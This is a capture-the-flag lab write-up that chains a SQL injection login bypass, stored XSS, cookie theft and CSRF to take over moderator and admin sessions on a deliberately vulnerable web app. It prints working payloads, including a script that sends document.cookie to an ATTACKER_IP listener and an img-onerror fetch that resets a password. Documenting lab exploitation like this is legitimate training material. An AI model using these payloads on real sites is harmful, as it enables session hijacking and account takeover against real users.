Recon

Added the target to /etc/hosts first.

hosts file with worldwap.thm added

Cardi B is clearly our hacker, but I’ll play along with this charade.

I was feeling Rustscan, but ran nmap to follow the rules:

nmap -A -T4 -p- TARGET_IP
nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP -oN whats_your_name_nmap_result.txt
nmap full scan results

Sneaky, Port 53. I see you.

Open ports: 22 (SSH), 53, 80 (HTTP), 8081 (HTTP). Port 8081 is the non-standard one. Worth fuzzing.

feroxbuster -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 -o ferox_out.txt

I love to watch this run. Dopamine city.

feroxbuster results

We’ve shorn all the fuzz needed.

Filtering signal from noise on the scan:

EndpointSignificance
/phpmyadmin/Default creds attack surface (root:no password, root:root, admin:admin)
/setup.php149 bytes. Likely a one-time setup script. Browser-first
/logs.txt0 bytes. Writable potentially
/db.php0 bytes. Included by other files
/clear.php4 bytes. Probably clears session or logs

Given the synopsis hints at JS inspection, cookie manipulation, and XSS, the cookie angle is the most likely path.


Setup.php and the Database Reset

Visiting setup.php re-initialized the entire database. View source confirmed a users table and a messages table, with default accounts inserted.

setup.php source revealing schema

A clean slate with predictable defaults. Worth a phpMyAdmin attempt before pivoting to the main app.


phpMyAdmin Tangent

Tried the obvious default credentials at /phpmyadmin/. None worked, but the error confirmed admin exists as a MySQL user.

phpMyAdmin login error confirming admin user

This felt like a mind-honeypot. The lab’s stated focus was JS inspection and cookie manipulation, not a MySQL credential brute force. Tab stayed open just in case. Pivoting to the main app.


SQLi at login.php

http://worldwap.thm:8081/login.php

There’s something very seductive about a nicely colored, nondescript login page. It’s giving me a come-hither stare.

login.php interface

Intercepted a login request via Burp with admin:password. The failed login returned a 200, not a 302, meaning it re-renders the login page rather than redirecting. PHPSESSID was set on failed login, which is normal PHP behavior and not directly manipulable. The cookie hint clearly applied after a successful login.

In summary, find a successful login.

Sent the request to Repeater and tried a SQLi auth bypass:

username=admin'-- -&password=anything
Burp Repeater showing 302 redirect to profile.php

302 redirect to profile.php. Bypass confirmed.


Recognizing the XSS Vector

Visited worldwap.thm:80 and clicked the register button.

registration page with reviewed by moderator notice

The “Reviewed by the site moderator” notice is the entire game. Translation:

  1. Register with an XSS payload in a field, like Name
  2. Moderator reviews the registration in their browser
  3. Their browser executes the payload
  4. Payload exfiltrates their session cookie to my listener
  5. I hijack the moderator session

Stage 1: Hijacking the Moderator

Set up a Python listener on the attacker VM:

python3 -m http.server 8000

Registered with this payload in the Name field:

<script>document.location='http://ATTACKER_IP:8000/?c='+document.cookie</script>

Other fields filled with junk. Password: junkyjunk.

registration submitted with XSS payload

The payload is planted. Now we have the come-hither advantage.

When the moderator bot “reviewed” my registration, the payload fired and the GET request hit the Python listener with their cookie in the URL.

Python listener catching moderator cookie

The cookie jar has been successfully raided.

Replaced the PHPSESSID in DevTools > Storage > Cookies with 0edomi6olajr10e5rr8292gg8u.

DevTools cookie replacement

DNS resolution to worldwap.thm was being finicky from the browser, so I bypassed with curl:

curl -b "PHPSESSID=0edomi6olajr10e5rr8292gg8u" http://TARGET_IP/profile.php
curl returning moderator profile with flag

Look at me predicting the future. Pwned, indeed.

Moderator flag: ModP@wnEd


Stage 2: Hijacking the Admin

The moderator profile rendered the admin area as Admin Area (You dont have the access !). That access notice means the panel exists, the moderator just isn’t authorized. Same XSS pattern, different delivery.

curl -b "PHPSESSID=0edomi6olajr10e5rr8292gg8u" http://TARGET_IP/admin.php

That returned a 404. They’re not that savvy. The panel had to be reachable elsewhere, and the moderator’s profile hinted at chat.php as the place admins reviewed messages.

Confirmed chat.php was the right delivery vector by inspecting form fields:

curl -b "PHPSESSID=0edomi6olajr10e5rr8292gg8u" http://TARGET_IP/chat.php | grep -i "form\|input\|action\|message\|send"
chat.php form analysis showing innerHTML rendering

Two findings made this exploitable:

  • The form POSTs to chat.php with a message field
  • The receiving JS does messageDiv.innerHTML = msg.message. Raw HTML rendering, no sanitization. XSS confirmed.

With the listener still running, fired the payload as a chat message:

curl -b "PHPSESSID=0edomi6olajr10e5rr8292gg8u" \
  -d "message=<script>document.location='http://ATTACKER_IP:8000/?c='+document.cookie</script>" \
  http://TARGET_IP/chat.php

The page has a “Reset/Move Admin Bot to chat.php” button that forces the admin bot to visit. Clicked it. The bot’s browser rendered the message, executed the script, and dropped its cookie into the listener.

Python listener catching admin cookie

PHPSESSID=17rnjlupi9ljoej9gaofua8p1j was the admin ticket.

But hitting admin.php with the admin cookie still didn’t return the flag. Cookie alone wasn’t enough. The admin panel was protected by something the cookie didn’t satisfy on its own.


Stage 3: CSRF for Admin Password Reset

The admin had change_password.php accessible, and any POST to it with the admin’s cookie would change the admin’s password. I just needed the admin’s browser to fire that POST. CSRF, delivered via the same chat.php XSS vector.

Inspected the change_password.php form fields first:

curl -s -b "PHPSESSID=ADMIN_COOKIE" http://TARGET_IP/change_password.php
change_password.php form fields

One field: new_password. POSTs to change_password.php. Pwned once again.

Sent the CSRF payload as a chat message. The img onerror pattern is more reliable than <script> for CSRF in some browsers because it fires immediately on render:

curl -b "PHPSESSID=MOD_COOKIE" \
  -d 'message=<img src="x" onerror="fetch(`http://worldwap.thm:8081/change_password.php`,{method:`POST`,credentials:`include`,headers:{`Content-Type`:`application/x-www-form-urlencoded`},body:`new_password=admin123`});">' \
  http://TARGET_IP:8081/chat.php

Clicked “Reset/Move admin bot to chat.php” again. The admin bot loaded the message, the img tag fired the onerror handler, the fetch went out with credentials: 'include', and the admin’s own browser POSTed new_password=admin123 to change_password.php with the admin’s cookie attached.

Headed to http://TARGET_IP:8081/login.php and tried admin / admin123.

logged in as admin

In as admin. Three-stage chain complete.


Full Attack Chain

nmap + feroxbuster → port 8081, /setup.php, /phpmyadmin, /chat.php, /change_password.php
→ setup.php confirmed schema reset and predictable default accounts
→ phpMyAdmin honeypot identified, parked
→ login.php SQLi auth bypass: admin'-- - → 302 to profile.php
→ Registration "Reviewed by moderator" tell → XSS in Name field
→ Python listener + document.cookie payload → moderator PHPSESSID stolen
→ Cookie swap → curl bypass DNS → moderator profile + flag
→ Admin Area exists in moderator profile but inaccessible directly
→ chat.php innerHTML raw rendering → XSS payload via curl POST
→ Reset/Move Admin Bot button triggers bot visit → admin PHPSESSID stolen
→ Admin cookie alone insufficient for admin.php
→ change_password.php CSRF: img onerror + fetch credentials:include via chat XSS
→ Admin bot’s browser POSTs new_password=admin123 with admin’s cookie
→ Login as admin / admin123 → admin access